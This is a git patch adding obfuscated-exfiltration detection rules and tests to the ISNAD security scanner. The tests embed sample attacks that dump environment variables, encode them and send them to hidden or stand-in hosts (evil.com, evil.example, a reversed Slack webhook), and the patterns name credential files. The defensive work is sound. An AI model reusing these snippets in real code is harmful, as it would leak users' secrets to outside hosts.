From 3d9f1ad193da649f5a0ada6e86595190ac4eaf2b Mon Sep 17 00:00:00 2001 From: yuliuyi717-ux <264093635+yuliuyi717-ux@users.noreply.github.com> Date: Sat, 28 Feb 2026 03:23:15 +0800 Subject: [PATCH] scanner: detect obfuscated credential exfiltration patterns --- scanner/package.json | 3 +- scanner/src/analyzer.obfuscation.test.ts | 98 ++++++++++++++++++++++++ scanner/src/analyzer.ts | 88 ++++++++++++++++++++- scanner/src/patterns.ts | 47 +++++++++++- 4 files changed, 227 insertions(+), 9 deletions(-) create mode 100644 scanner/src/analyzer.obfuscation.test.ts diff --git a/scanner/package.json b/scanner/package.json index a71b58fe..124e22b1 100644 --- a/scanner/package.json +++ b/scanner/package.json @@ -8,7 +8,8 @@ "build": "tsc", "start": "node dist/index.js", "dev": "tsx watch src/index.ts", - "scan": "tsx src/cli.ts" + "scan": "tsx src/cli.ts", + "test": "tsx --test src/**/*.test.ts" }, "keywords": ["isnad", "scanner", "security", "ai", "agents"], "license": "MIT", diff --git a/scanner/src/analyzer.obfuscation.test.ts b/scanner/src/analyzer.obfuscation.test.ts new file mode 100644 index 00000000..03e58e40 --- /dev/null +++ b/scanner/src/analyzer.obfuscation.test.ts @@ -0,0 +1,98 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { analyzeContent } from './analyzer.js'; + +function ids(content: string): string[] { + return analyzeContent(content).findings.map(finding => finding.patternId); +} + +test('detects base64-decoded URL exfiltration', () => { + const content = ` +const endpoint = Buffer.from("aHR0cHM6Ly9ob29rcy5zbGFjay5jb20vc2VydmljZXMvVEVTVA==", "base64").toString("utf8"); +await fetch(endpoint, { method: "POST", body: data }); +`; + assert.equal(ids(content).includes('EXFIL_BASE64_URL_DECODE'), true); +}); + +test('detects hex-escaped URL literals used in network calls', () => { + const content = ` +await fetch("\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x65\\x76\\x69\\x6c\\x2e\\x63\\x6f\\x6d\\x2f\\x68\\x69"); +`; + assert.equal(ids(content).includes('EXFIL_HEX_URL_LITERAL'), true); +}); + +test('detects charcode-constructed URLs used for exfiltration', () => { + const content = ` +const url = String.fromCharCode(104,116,116,112,115,58,47,47,101,120,102,105,108,46,115,105,116,101); +await axios.post(url, payload); +`; + assert.equal(ids(content).includes('EXFIL_CHARCODE_URL'), true); +}); + +test('detects reversed string URL obfuscation', () => { + const content = ` +const endpoint = "moc.kcals.skooh//:sptth".split("").reverse().join(""); +await fetch(endpoint); +`; + assert.equal(ids(content).includes('OBFUSC_REVERSED_STRING'), true); +}); + +test('detects concatenated URL construction', () => { + const content = ` +const endpoint = "ht" + "tps://" + "evil" + ".example" + "/hook"; +await fetch(endpoint); +`; + assert.equal(ids(content).includes('OBFUSC_URL_CONCAT'), true); +}); + +test('detects env harvesting with obfuscated transmission', () => { + const content = ` +const dump = JSON.stringify(process.env); +const enc = Buffer.from(dump).toString("base64"); +const url = "moc.kcals.skooh//:sptth".split("").reverse().join(""); +await fetch(url + "/" + enc); +`; + assert.equal(ids(content).includes('EXFIL_ENV_OBFUSCATED_TRANSMISSION'), true); +}); + +test('detects python env harvesting with base64 transmit path', () => { + const content = ` +import os, base64, requests +payload = base64.b64encode(str(dict(os.environ)).encode()).decode() +requests.post("https://example.com/ingest/" + payload) +`; + assert.equal(ids(content).includes('EXFIL_ENV_OBFUSCATED_TRANSMISSION'), true); +}); + +test('detects urllib3 env harvesting with reversed endpoint', () => { + const content = ` +import os, urllib3 +http = urllib3.PoolManager() +u = "moc.elpmaxe//:sptth"[::-1] +http.request("POST", u, body=str(os.environ)) +`; + assert.equal(ids(content).includes('EXFIL_ENV_OBFUSCATED_TRANSMISSION'), true); +}); + +test('does not flag normal base64 content formatting as exfil url decode', () => { + const content = ` +const pngHeader = Buffer.from("iVBORw0KGgoAAAANSUhEUg==", "base64"); +console.log(pngHeader.length); +`; + assert.equal(ids(content).includes('EXFIL_BASE64_URL_DECODE'), false); + assert.equal(ids(content).includes('EXFIL_ENV_OBFUSCATED_TRANSMISSION'), false); +}); + +test('does not flag normal axios API usage as obfuscated exfiltration', () => { + const content = ` +import axios from "axios"; +const client = axios.create({ baseURL: "https://api.github.com" }); +await client.get("/repos/octocat/Hello-World"); +`; + const findingIds = ids(content); + assert.equal(findingIds.includes('EXFIL_CHARCODE_URL'), false); + assert.equal(findingIds.includes('EXFIL_HEX_URL_LITERAL'), false); + assert.equal(findingIds.includes('OBFUSC_REVERSED_STRING'), false); + assert.equal(findingIds.includes('OBFUSC_URL_CONCAT'), false); + assert.equal(findingIds.includes('EXFIL_ENV_OBFUSCATED_TRANSMISSION'), false); +}); diff --git a/scanner/src/analyzer.ts b/scanner/src/analyzer.ts index 7ea15a93..b13bdfd1 100644 --- a/scanner/src/analyzer.ts +++ b/scanner/src/analyzer.ts @@ -2,7 +2,7 @@ * ISNAD Scanner - Static Analysis Engine */ -import { DANGEROUS_PATTERNS, ALLOWLIST_PATTERNS, SAFE_DOMAINS, type Pattern } from './patterns.js'; +import { DANGEROUS_PATTERNS, ALLOWLIST_PATTERNS, SAFE_DOMAINS } from './patterns.js'; import { createHash } from 'crypto'; export interface Finding { @@ -48,6 +48,86 @@ const RISK_THRESHOLDS = { low: 10 }; +const OBFUSCATED_ENV_SIGNAL_IDS = new Set([ + 'EXFIL_BASE64_SEND', + 'EXFIL_BASE64_URL_DECODE', + 'EXFIL_HEX_URL_LITERAL', + 'EXFIL_CHARCODE_URL', + 'OBFUSC_HEX_STRING', + 'OBFUSC_CHAR_CODE', + 'OBFUSC_REVERSED_STRING', + 'OBFUSC_URL_CONCAT' +]); + +const ENV_HARVEST_PATTERNS = [ + /process\.env\b/i, + /os\.environ\b/i, + /os\.getenv\s*\(/i, + /System\.getenv\s*\(/i +]; + +const NETWORK_TRANSMIT_PATTERN = + /\b(fetch\s*\(|axios\.(get|post|put|patch|delete)|requests\.(get|post|put|patch|delete)|urllib3\.[A-Za-z_]+\.request|https?\.request\s*\()/i; + +const OBFUSCATION_HINT_PATTERN = + /(base64\.b64encode|Buffer\.from\(.*base64|atob\s*\(|\\x[0-9a-fA-F]{2}|String\.fromCharCode|\.split\(\s*['"`]['"`]\s*\)\.reverse\(\)\.join\(\s*['"`]['"`]\s*\)|\[\s*::\s*-1\s*\])/i; + +function isAllowlistedLine(contextLine: string): boolean { + return ALLOWLIST_PATTERNS.some(allowPattern => { + const flags = allowPattern.flags.replaceAll('g', ''); + return new RegExp(allowPattern.source, flags).test(contextLine); + }); +} + +function addObfuscatedEnvTransmissionFinding(content: string, lines: string[], findings: Finding[]): void { + const hasEnvHarvest = ENV_HARVEST_PATTERNS.some(pattern => pattern.test(content)); + if (!hasEnvHarvest) { + return; + } + + const hasNetworkTransmit = NETWORK_TRANSMIT_PATTERN.test(content); + if (!hasNetworkTransmit) { + return; + } + + const hasObfuscatedSignal = + findings.some(finding => OBFUSCATED_ENV_SIGNAL_IDS.has(finding.patternId)) || + OBFUSCATION_HINT_PATTERN.test(content); + + if (!hasObfuscatedSignal) { + return; + } + + if (findings.some(finding => finding.patternId === 'EXFIL_ENV_OBFUSCATED_TRANSMISSION')) { + return; + } + + const line = findFirstLine(lines, ENV_HARVEST_PATTERNS); + const context = lines[line - 1] || ''; + + findings.push({ + patternId: 'EXFIL_ENV_OBFUSCATED_TRANSMISSION', + name: 'Environment Harvest + Obfuscated Transmission', + description: 'Environment variable harvesting combined with obfuscated network transmission', + severity: 'critical', + category: 'exfiltration', + line, + column: 1, + match: 'env_harvest_obfuscated_transmission', + context: context.trim().substring(0, 200) + }); +} + +function findFirstLine(lines: string[], patterns: RegExp[]): number { + for (let index = 0; index < lines.length; index++) { + const line = lines[index]; + if (patterns.some(pattern => pattern.test(line))) { + return index + 1; + } + } + return 1; +} + /** * Analyze content for security issues */ @@ -72,9 +152,7 @@ export function analyzeContent(content: string, resourceHash?: string): Analysis const contextLine = lines[lineNumber - 1] || ''; // Check if this is in an allowlisted context - const isAllowlisted = ALLOWLIST_PATTERNS.some(allowPattern => - allowPattern.test(contextLine) - ); + const isAllowlisted = isAllowlistedLine(contextLine); if (!isAllowlisted) { findings.push({ @@ -92,6 +170,8 @@ export function analyzeContent(content: string, resourceHash?: string): Analysis } } + addObfuscatedEnvTransmissionFinding(content, lines, findings); + // Calculate risk score const summary = { total: findings.length, diff --git a/scanner/src/patterns.ts b/scanner/src/patterns.ts index f2e61e23..c9c9d77d 100644 --- a/scanner/src/patterns.ts +++ b/scanner/src/patterns.ts @@ -71,6 +71,46 @@ export const DANGEROUS_PATTERNS: Pattern[] = [ pattern: /btoa\s*\(|Buffer\.from\(.*\)\.toString\s*\(\s*['"`]base64['"`]\s*\)/gi, category: 'exfiltration' }, + { + id: 'EXFIL_BASE64_URL_DECODE', + name: 'Base64-decoded URL', + description: 'Decoding base64 payloads that look like URL strings', + severity: 'high', + pattern: /(atob|Buffer\.from)\s*\(\s*['"`]aHR0[0-9A-Za-z+/=]{12,}['"`](\s*,\s*['"`]base64['"`])?\s*\)/gi, + category: 'exfiltration' + }, + { + id: 'EXFIL_HEX_URL_LITERAL', + name: 'Hex-escaped URL Literal', + description: 'Hex-escaped URL strings passed to network APIs', + severity: 'high', + pattern: /(fetch|axios\.(get|post|put|patch|delete)|requests\.(get|post|put|delete)|urllib3\.[A-Za-z_]+\.request|https?\.request)\s*\([^)]*\\x68\\x74\\x74\\x70/gi, + category: 'exfiltration' + }, + { + id: 'EXFIL_CHARCODE_URL', + name: 'CharCode URL Construction', + description: 'URL components assembled from character codes', + severity: 'high', + pattern: /String\.fromCharCode\s*\([^)]{15,}\)/gi, + category: 'exfiltration' + }, + { + id: 'OBFUSC_REVERSED_STRING', + name: 'Reversed String Obfuscation', + description: 'Suspicious reverse-join string decoding for hidden URLs', + severity: 'high', + pattern: /\.split\(\s*['"`]['"`]\s*\)\s*\.reverse\(\)\s*\.join\(\s*['"`]['"`]\s*\)/gi, + category: 'obfuscation' + }, + { + id: 'OBFUSC_URL_CONCAT', + name: 'Concatenated URL Obfuscation', + description: 'Suspicious multi-part URL assembly by string concatenation', + severity: 'high', + pattern: /['"`]ht['"`]\s*\+\s*['"`]tps?:\/\/['"`]|['"`]https?:\/\/['"`]\s*\+\s*['"`][^'"`]{2,}['"`]/gi, + category: 'obfuscation' + }, // === HIGH: Credential access === { @@ -86,7 +126,7 @@ export const DANGEROUS_PATTERNS: Pattern[] = [ name: 'Sensitive File Read', description: 'Reading potentially sensitive files', severity: 'high', - pattern: /(\.env|\.ssh|\.aws|credentials|\.netrc|\.npmrc|\.pypirc|id_rsa|id_ed25519)/gi, + pattern: /(?:^|[\\/\s'"`])(?:\.env(?:\.[\w.-]+)?|\.ssh|\.aws|credentials|\.netrc|\.npmrc|\.pypirc|id_rsa|id_ed25519)(?:$|[\\/\s'"`])/gi, category: 'credential_access' }, { @@ -192,9 +232,8 @@ export const DANGEROUS_PATTERNS: Pattern[] = [ */ export const ALLOWLIST_PATTERNS = [ // Common legitimate uses - /console\.(log|error|warn|info)/gi, - /JSON\.(parse|stringify)/gi, - /Math\.(random|floor|ceil)/gi, + /console\.(log|error|warn|info)/i, + /Math\.(random|floor|ceil)/i, ]; /**